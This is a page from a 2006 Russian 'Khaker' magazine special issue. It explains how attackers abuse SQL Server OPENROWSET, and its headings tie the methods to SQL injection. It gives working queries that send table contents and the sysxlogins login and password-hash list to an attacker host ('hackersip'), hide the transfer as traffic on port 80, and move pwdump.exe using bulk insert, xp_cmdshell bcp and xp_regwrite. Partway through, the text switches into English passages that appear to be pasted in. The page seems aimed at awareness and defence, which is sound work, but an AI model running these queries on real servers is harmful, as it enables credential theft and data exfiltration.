Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #66, МАЙ 2006 г.

базовый иммунитет

ЕКАТЕРИНА ДЕРБЕНЦЕВА

Спецвыпуск: Хакер, номер #066, стр. 066-014-5


при помощи такого запроса можно скопировать все поля из таблицы

select * from

OPENROWSET( 'SQLoledb',

'server=servername;uid=sa;pwd=h8ck3r',

'select * from table1' )

уточненный запрос, сразу указывающий IP-адрес и порт, к которому нужно подключиться

select * from

OPENROWSET('SQLoledb',

'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=10.0.0.10,1433;',

'select * from table' )

В примере SQL Server использует OLEDB-провайдера SQLoledb, чтобы выполнить запрос. OLEDB-провайдер пользуется библиотекой SQL Server sockets (DBMSSOCN) для подключения к порту 1433 на IP-адрес 10.0.0.10 и возвращает результат запроса на SQL-сервер.

OPENROWSET используют не только для выполнения запросов типа SELECT, но и для добавления-удаления информации из таблиц при помощи запросов UPDATE, INSERT и DELETE. Манипулирование данными на удаленных источниках данных применимо только в том случае, если OLEDB-провайдер поддерживает данный функционал. Провайдер SQLOLEDB поддерживает все эти функции.

пример добавления данных

insert into

OPENROWSET('SQLoledb',

'server=servername;uid=sa;pwd=h8ck3r',

'select * from table1')

select * from table2

Все строки из таблицы 2 на локальном SQL-сервере добавляются в таблицу 1 на удаленном источнике данных. Для того чтобы запрос выполнился корректно, обе таблицы должны иметь одинаковую структуру: одинаковое количество столбцов и строк, а также имена столбцов.

пример иллюстрирует получение списка логинов и хэшированных паролей

insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,1433;',

'select * from _sysxlogins')

select * from database.dbo.sysxlogins

Если межсетевой экран сконфигурирован так, чтобы блокировать все исходящие подключения к SQL-серверу, злоумышленник победит и это ограничение — подберет соответствующую технику. Для передачи данных он может использовать 80 порт, благодаря которому замаскирует передачу данных под http-трафик.

маскировка передачи данных под http-трафик

insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;Address=hackersip,80;',

'select * from table1')

select * from table1

Если внешние подключения по 80 порту опять же блокируются межсетевым экраном, злодей возьмется перебирать порты, пока не найдется такой, подключение к которому не будет блокировано.

при помощи SQL-инъекций можно загружать файлы

bulk insert AttackerTable

from 'pwdump.exe'

with (codepage='RAW')

The binary can then be downloaded to the victim server from the attacker’s server by running the

following SQL statement on the victim server:

exec xp_cmdshell 'bcp «select * from AttackerTable» queryout pwdump.exe -c -

Craw -Shackersip -Usa -Ph8ck3r'

запрос для обхода межсетевой защиты

exec xp_regwrite

'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo','Hacke

rSrvAlias','REG_SZ','DBMSSOCN,hackersip,80'

and then:

exec xp_cmdshell 'bcp «select * from AttackerTable» queryout pwdump.exe -c -

Craw -SHackerSrvAlias -Usa -Ph8ck3r'

Существуют также техники, позволяющие проникать во внутреннюю сеть либо проникать с одного сервера БД на другой, вглубь сети, в поисках данных, интересных хакеру.

Назад на стр. 066-014-4  Содержание  Вперед на стр. 066-014-6